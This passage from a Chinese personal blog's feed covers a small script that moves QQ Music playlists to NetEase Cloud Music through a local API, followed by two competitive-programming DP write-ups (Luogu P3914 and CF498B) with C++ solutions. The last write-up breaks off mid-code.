class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"picId"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"img1v1Url"</span><span class="punctuation">:</span> <span class="string">"https://p1.music.126.net/6y-UleORITEDbvrOLV0Q8A==/5639395138885805.jpg"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"img1v1"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"trans"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"album"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"id"</span><span class="punctuation">:</span> <span class="number">81755365</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"Vinky is a cat"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"artist"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"id"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">""</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"picUrl"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"alias"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"albumSize"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"picId"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"img1v1Url"</span><span class="punctuation">:</span> <span class="string">"https://p1.music.126.net/6y-UleORITEDbvrOLV0Q8A==/5639395138885805.jpg"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"img1v1"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"trans"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"publishTime"</span><span class="punctuation">:</span> <span class="number">1569142910676</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"size"</span><span class="punctuation">:</span> <span class="number">7</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"copyrightId"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"status"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"picId"</span><span class="punctuation">:</span> <span class="number">109951164380589660</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"mark"</span><span class="punctuation">:</span> <span class="number">0</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"duration"</span><span class="punctuation">:</span> <span class="number">240455</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"copyrightId"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"status"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"alias"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"rtype"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"ftype"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"mvid"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"fee"</span><span class="punctuation">:</span> <span class="number">8</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"rUrl"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"mark"</span><span class="punctuation">:</span> <span class="number">64</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"hasMore"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"songCount"</span><span class="punctuation">:</span> <span class="number">74</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"code"</span><span class="punctuation">:</span> <span class="number">200</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>上面我传的参数是 <code>limit=1</code>,虽然可以发现排在第一位的并不是 QQ 音乐的原曲,但是如果去试听一下就会发现是差不多的,出现这个现象是因为原曲已经变成了付费歌曲。</p><p>说起来网易云真是贴心,搜出来的第一个就是穷人版的欸,所以就放心大胆地直接用第一个吧。</p><p>因为 NeteaseCloudMusicApi 向歌单添加歌曲的接口 <code>/playlist/tracks</code> 要求传入的是歌曲 id,所以我们到时候传的是 <code>res.result.songs[0].id</code>。</p><p>熟悉好接口后我们就可以开始了。</p><p>实现思路非常 simple,就是先获取 QQ 音乐歌单里的歌曲,再在网易云音乐搜索相关歌曲,将关联度最高的导入网易云音乐。</p><p>说起来简单,可是实际操作起来还是碰上了问题。由于我的 JavaScript 只是半吊子水平,所以最开始碰到异步过程不按顺序执行头痛不已:每次在请求完成之前都会继续执行,完全摸不着头脑。</p><p>在我一筹莫展之际,突然想起来 swwind 学长曾带着我这个小萌新做的 <code>user-scripts</code>,他有一次在这个项目里使用了 <code>Promise</code>,还向我推销过这个特性。</p><p>那么为什么不试试 <code>Promise</code> 呢?这次我是独立操作,在上网查阅了基本资料后,不禁也和学长当时一样惊呼:“Promise 大法好!”</p><p>用了 <code>Promise</code> 后,代码变得简洁易懂多了。</p><p>贴一下核心代码:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> option = {</span><br><span class="line"> <span class="attr">headers</span>: {</span><br><span class="line"> <span class="string">'cookie'</span>: <span class="literal">null</span></span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">NeteaseAPI</span> = (<span class="params">url</span>) => {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =></span> {</span><br><span class="line"> http.<span class="title function_">get</span>(url, option, <span class="function">(<span class="params">req</span>) =></span> {</span><br><span class="line"> <span class="keyword">let</span> s = <span class="string">""</span>;</span><br><span class="line"> req.<span class="title function_">on</span>(<span class="string">'data'</span>, <span class="function">(<span class="params">data</span>) =></span> {</span><br><span class="line"> s += data;</span><br><span class="line"> });</span><br><span class="line"> req.<span class="title function_">on</span>(<span class="string">'end'</span>, <span class="function">() =></span> {</span><br><span class="line"> <span class="title function_">resolve</span>(<span class="title class_">JSON</span>.<span class="title function_">parse</span>(s));</span><br><span class="line"> })</span><br><span class="line"> })</span><br><span class="line"> })</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用的时候就可以:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">NeteaseAPI</span>(request).<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =></span> {</span><br><span class="line"> <span class="comment">// res 是返回的数据</span></span><br><span class="line"> <span class="comment">// 一些对 res 进行处理的代码</span></span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>实际操作过程中,会出现歌单歌曲数目不一致,但对应的歌曲可以被找到的情况。根据返回的数据看,是由于付费歌曲无法通过这个接口加入歌单。举个例子,登录后传入 <code>http://localhost:3000/playlist/tracks?op=add&pid=803049038&tracks=451703096</code>,返回的信息为:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"message"</span><span class="punctuation">:</span><span class="string">"未付费歌曲无法收藏"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"trackIds"</span><span class="punctuation">:</span><span class="string">"[451703096]"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"code"</span><span class="punctuation">:</span><span class="number">512</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"count"</span><span class="punctuation">:</span><span class="number">190</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"cloudCount"</span><span class="punctuation">:</span><span class="number">0</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>对这种情况稍加判断即可。(话说付费歌曲在客户端上是能收藏的,可能还有其他的接口吧)</p><p>最后实现的也比较简陋,只能说是勉强能用,就当是练手了。</p><p>P.S. 写代码的时候因为判断等于用了 <code>=</code> 调试了很久,学校教 VB 真是害人不浅啊!</p>]]></content>
<summary type="html"><p>最近帮一位朋友把 QQ 音乐歌单里的歌曲导入到网易云音乐,虽然手机端有音乐导入的选项,但她似乎觉得不是很好用。</p>
<p>在网上也没有这类的教程,全是把网易云导入到 QQ 音乐的(笑),只好借助别人造好的轮子实现了一个。</p>
<p>链接:<a href="https://github.com/sxyugao/QQMusicToNetease">https://github.com/sxyugao/QQMusicToNetease</a></p>
<p>以下是实现过程,不感兴趣的朋友可以不看。</p></summary>
<category term="极客" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/"/>
<category term="软件" scheme="https://sxyugao.top/tags/%E8%BD%AF%E4%BB%B6/"/>
</entry>
<entry>
<title>洛谷P3914 - 染色计数</title>
<link href="https://sxyugao.top/p/6f3c5c0a.html"/>
<id>https://sxyugao.top/p/6f3c5c0a.html</id>
<published>2019-11-04T12:41:12.000Z</published>
<updated>2022-01-07T13:57:23.228Z</updated>
<content type="html"><![CDATA[<p>CSP-S 前要多做树上问题 <s>(主要是因为去年 NOIP D1T3、D2T1、D2T3 全是树上问题,然后爆炸了)</s> 。</p><p>这题一看就是树形DP,状态也是一眼就能想到的。</p><p>令 $f_{i,j}$ 表示 $i$ 这个点染成 $j$ 的方案数,枚举 $son_i$ 的颜色来转移。</p><p>最后答案即为 $\sum_{i=1}^{m}f_{1,i}$。</p><span id="more"></span><p>核心代码如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">dfs</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> fa)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = head[x]; i; i = edge[i].nxt) {</span><br><span class="line"> <span class="type">int</span> y = edge[i].to;</span><br><span class="line"> <span class="keyword">if</span> (y == fa) <span class="keyword">continue</span>;</span><br><span class="line"> <span class="built_in">dfs</span>(y, x);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> c : col[x]) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = head[x]; i; i = edge[i].nxt) {</span><br><span class="line"> <span class="type">int</span> y = edge[i].to;</span><br><span class="line"> <span class="keyword">if</span> (y == fa) <span class="keyword">continue</span>;</span><br><span class="line"> <span class="type">int</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j : col[y])</span><br><span class="line"> <span class="keyword">if</span> (j ^ c) <span class="built_in">Add</span>(sum, f[y][j]);</span><br><span class="line"> f[x][c] = <span class="number">1LL</span> * f[x][c] * sum % P;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>统计答案的片段就不放了。</p><p>但是冷静分析,这东西是 $O(n^3)$ 的,在 $n=5000$ 的数据范围下显然过不掉。</p><p>通过观察转移方程我们不难发现某个儿子对当前节点某个颜色的贡献完全可以用该儿子的总贡献减去该儿子对这个颜色的贡献来得到。</p><p>这样就能优化成 $O(n^2)$ 了,貌似能过这道题了?</p><p>但是,等等,MLE了?!这道毒瘤题还卡你内存!这都 9102 年了居然还有只开 125M 的题?!<s>其实只是自己菜没看空间限制</s></p><p>所以之前用 <code>vector</code> 存可用颜色的方法就行不通了,只能老老实实从 $1$ 到 $m$ 枚举。</p><p><s>效率大大降低了,时间换空间的典型案例</s></p><p>完整代码如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="type">char</span> buf[<span class="number">1</span> << <span class="number">14</span>], *p1 = buf, *p2 = buf;</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">char</span> <span class="title">gc</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> p1 == p2 && (p2 = (p1 = buf) + <span class="built_in">fread</span>(buf, <span class="number">1</span>, <span class="number">1</span> << <span class="number">14</span>, stdin), p1 == p2) ? EOF : *p1++;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">int</span> <span class="title">read</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">int</span> x = <span class="number">0</span>, f = <span class="number">1</span>;</span><br><span class="line"> <span class="type">char</span> c = <span class="built_in">gc</span>();</span><br><span class="line"> <span class="keyword">for</span> (; !<span class="built_in">isdigit</span>(c); c = <span class="built_in">gc</span>())</span><br><span class="line"> <span class="keyword">if</span> (c == <span class="string">'-'</span>) f = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">for</span> (; <span class="built_in">isdigit</span>(c); c = <span class="built_in">gc</span>()) x = x * <span class="number">10</span> + c - <span class="string">'0'</span>;</span><br><span class="line"> <span class="keyword">return</span> x * f;</span><br><span class="line">}</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">5005</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> P = <span class="number">1e9</span> + <span class="number">7</span>;</span><br><span class="line"><span class="type">int</span> nedge, head[N];</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Edge</span> {</span><br><span class="line"> <span class="type">int</span> to, nxt;</span><br><span class="line">} edge[N << <span class="number">1</span>];</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">add</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> y)</span> </span>{</span><br><span class="line"> edge[++nedge].to = y;</span><br><span class="line"> edge[nedge].nxt = head[x];</span><br><span class="line"> head[x] = nedge;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">void</span> <span class="title">Add</span><span class="params">(<span class="type">int</span> &x, <span class="type">int</span> y)</span> </span>{</span><br><span class="line"> x = x + y >= P ? x + y - P : x + y;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">int</span> <span class="title">Dec</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> y)</span> </span>{</span><br><span class="line"> x -= y;</span><br><span class="line"> <span class="keyword">if</span> (x < <span class="number">0</span>) x += P;</span><br><span class="line"> <span class="keyword">return</span> x;</span><br><span class="line">}</span><br><span class="line"><span class="type">int</span> n, m, f[N][N];</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">dfs</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> fa)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = head[x]; i; i = edge[i].nxt) {</span><br><span class="line"> <span class="type">int</span> y = edge[i].to;</span><br><span class="line"> <span class="keyword">if</span> (y == fa) <span class="keyword">continue</span>;</span><br><span class="line"> <span class="built_in">dfs</span>(y, x);</span><br><span class="line"> <span class="type">int</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> c = <span class="number">1</span>; c <= m; c++)</span><br><span class="line"> <span class="keyword">if</span> (f[y][c]) <span class="built_in">Add</span>(sum, f[y][c]);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> c = <span class="number">1</span>; c <= m; c++)</span><br><span class="line"> <span class="keyword">if</span> (f[x][c]) f[x][c] = <span class="number">1LL</span> * f[x][c] * <span class="built_in">Dec</span>(sum, f[y][c]) % P;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> n = <span class="built_in">read</span>(), m = <span class="built_in">read</span>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++)</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> num = <span class="built_in">read</span>(); num; num--) f[i][<span class="built_in">read</span>()] = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i < n; i++) {</span><br><span class="line"> <span class="type">int</span> x = <span class="built_in">read</span>(), y = <span class="built_in">read</span>();</span><br><span class="line"> <span class="built_in">add</span>(x, y), <span class="built_in">add</span>(y, x);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">dfs</span>(<span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line"> <span class="type">int</span> ans = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> c = <span class="number">1</span>; c <= m; c++) <span class="built_in">Add</span>(ans, f[<span class="number">1</span>][c]);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d"</span>, ans);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>CSP-S 前要多做树上问题 <s>(主要是因为去年 NOIP D1T3、D2T1、D2T3 全是树上问题,然后爆炸了)</s> 。</p>
<p>这题一看就是树形DP,状态也是一眼就能想到的。</p>
<p>令 $f_{i,j}$ 表示 $i$ 这个点染成 $j$ 的方案数,枚举 $son_i$ 的颜色来转移。</p>
<p>最后答案即为 $\sum_{i=1}^{m}f_{1,i}$。</p></summary>
<category term="OI" scheme="https://sxyugao.top/categories/OI/"/>
<category term="洛谷" scheme="https://sxyugao.top/categories/OI/%E6%B4%9B%E8%B0%B7/"/>
<category term="DP" scheme="https://sxyugao.top/tags/DP/"/>
<category term="树上问题" scheme="https://sxyugao.top/tags/%E6%A0%91%E4%B8%8A%E9%97%AE%E9%A2%98/"/>
</entry>
<entry>
<title>CF498B Name That Tune</title>
<link href="https://sxyugao.top/p/d7051add.html"/>
<id>https://sxyugao.top/p/d7051add.html</id>
<published>2019-10-21T11:14:05.000Z</published>
<updated>2022-01-07T13:57:23.225Z</updated>
<content type="html"><![CDATA[<p>作为一道英文题先解释一下题意。</p><p>用 $T$ 秒时间按顺序听 $N$ 首歌,第 $i$ 首歌播放时间为 $t_i$ 秒,且每播放一秒都会有 $p_i$ 的概率被识别出来,跳到下一首。某首歌播放时间过完默认被识别,也跳到下一首。若时间有剩余而歌已全部听完则直接结束。求识别出歌数量的期望。</p><p>看见题目就想到期望DP。</p><p>第一眼想到的方程是设 $f_{i,j}$ 表示第 $i$ 秒识别到第 $j$ 首歌的期望,不难想出一个 $O(n^3)$ 的算法。</p><p>枚举一个 $k$ 表示第 $j$ 首歌已经放了几秒,注意一下边界即可。</p><span id="more"></span><p>转移如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">double</span> ans = <span class="number">0</span>;</span><br><span class="line">f[<span class="number">0</span>][<span class="number">0</span>] = <span class="number">1</span>; <span class="comment">// 初始化</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= T; i++)</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j <= n; j++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> k = <span class="number">1</span>; k <= i && k < t[j]; k++)</span><br><span class="line"> f[i][j] += f[i - k][j - <span class="number">1</span>] * <span class="built_in">pow</span>(<span class="number">1</span> - p[j], k - <span class="number">1</span>) * p[j];</span><br><span class="line"> <span class="keyword">if</span> (i >= t[j]) f[i][j] += f[i - t[j]][j - <span class="number">1</span>] * <span class="built_in">pow</span>(<span class="number">1</span> - p[j], t[j] - <span class="number">1</span>);</span><br><span class="line"> <span class="comment">// 单独考虑默认被识别的状况</span></span><br><span class="line"> ans += f[i][j];</span><br><span class="line"> <span class="comment">// 第 i 秒听到了第 j 首的概率,相当于多了 1 首,直接加到 ans 里</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>但是发现这题 $N \leq 5000$,$O(n^3)$ 的复杂度显然过不了,但是这个DP方程感觉优化不下去了(可能只是我菜)。。</p><p>考虑换一个思路 $f_{i,j}$ 表示第 $i$ 首歌放完是第 $j$ 秒,可以写出这样的方程(<s>其实只是把上面方程的 i, j 反了一下</s>):</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">double</span> ans = <span class="number">0</span>;</span><br><span class="line">f[<span class="number">0</span>][<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++)</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j <= T; j++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> k = <span class="number">1</span>; k <= j && k < t[i]; k++)</span><br><span class="line"> f[i][j] += f[i - <span class="number">1</span>][j - k] * <span class="built_in">pow</span>(<span class="number">1</span> - p[i], k - <span class="number">1</span>) * p[i];</span><br><span class="line"> <span class="keyword">if</span> (j >= t[i]) f[i][j] += f[i - <span class="number">1</span>][j - t[i]] * <span class="built_in">pow</span>(<span class="number">1</span> - p[i], t[i] - <span class="number">1</span>);</span><br><span class="line"> ans += f[i][j];</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>然后我们发现了有趣的事情:$f_{i,j}$ 和 $f_{i,j-1}$ 咋这么像呢?!很显然 $k$ 那一维可以用类似前缀和一样的东西优化掉,因为 $f_{i,j}$ 和 $f_{i,j-1}$ 差的基本上只有 $(1-p_i)$ 的概率。</p><p>但是直接前缀和是有问题的,当 $j > t_i$ 时明显会把 $t_i \leq j$ 的情况给算重了,所以要减去。</p><p>以下为完整代码:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cmath></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="type">char</span> buf[<span class="number">1</span> << <span class="number">14</span>], *p1 = buf, *p2 = buf;</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">char</span> <span class="title">gc</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> p1 == p2 && (p2 = (p1 = buf) + <span class="built_in">fread</span>(buf, <span class="number">1</span>, <span class="number">1</span> << <span class="number">14</span>, stdin), p1 == p2) ? EOF : *p1++;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">int</span> <span class="title">read</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">int</span> x = <span class="number">0</span>, f = <span class="number">1</span>;</span><br><span class="line"> <span class="type">char</span> c = <span class="built_in">gc</span>();</span><br><span class="line"> <span class="keyword">for</span> (; !<span class="built_in">isdigit</span>(c); c = <span class="built_in">gc</span>())</span><br><span class="line"> <span class="keyword">if</span> (c == <span class="string">'-'</span>) f = <span class="number">-1</span>;</span><br><span class="line"> <span class="keyword">for</span> (; <span class="built_in">isdigit</span>(c); c = <span class="built_in">gc</span>()) x = x * <span class="number">10</span> + c - <span class="string">'0'</span>;</span><br><span class="line"> <span class="keyword">return</span> x * f;</span><br><span class="line">}</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">5005</span>;</span><br><span class="line"><span class="type">double</span> p[N], f[N][N];</span><br><span class="line"><span class="type">int</span> t[N];</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">int</span> n = <span class="built_in">read</span>(), T = <span class="built_in">read</span>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++) {</span><br><span class="line"> p[i] = <span class="number">1.0</span> * <span class="built_in">read</span>() / <span class="number">100</span>;</span><br><span class="line"> t[i] = <span class="built_in">read</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="type">double</span> ans = <span class="number">0</span>;</span><br><span class="line"> f[<span class="number">0</span>][<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++) {</span><br><span class="line"> <span class="type">double</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="type">double</span> lst = <span class="built_in">pow</span>(<span class="number">1</span> - p[i], t[i] - <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j <= T; j++) {</span><br><span class="line"> sum *= <span class="number">1</span> - p[i];</span><br><span class="line"> sum += f[i - <span class="number">1</span>][j - <span class="number">1</span>] * p[i];</span><br><span class="line"> <span class="keyword">if</span> (j >= t[i]) {</span><br><span class="line"> sum -= f[i - <span class="number">1</span>][j - 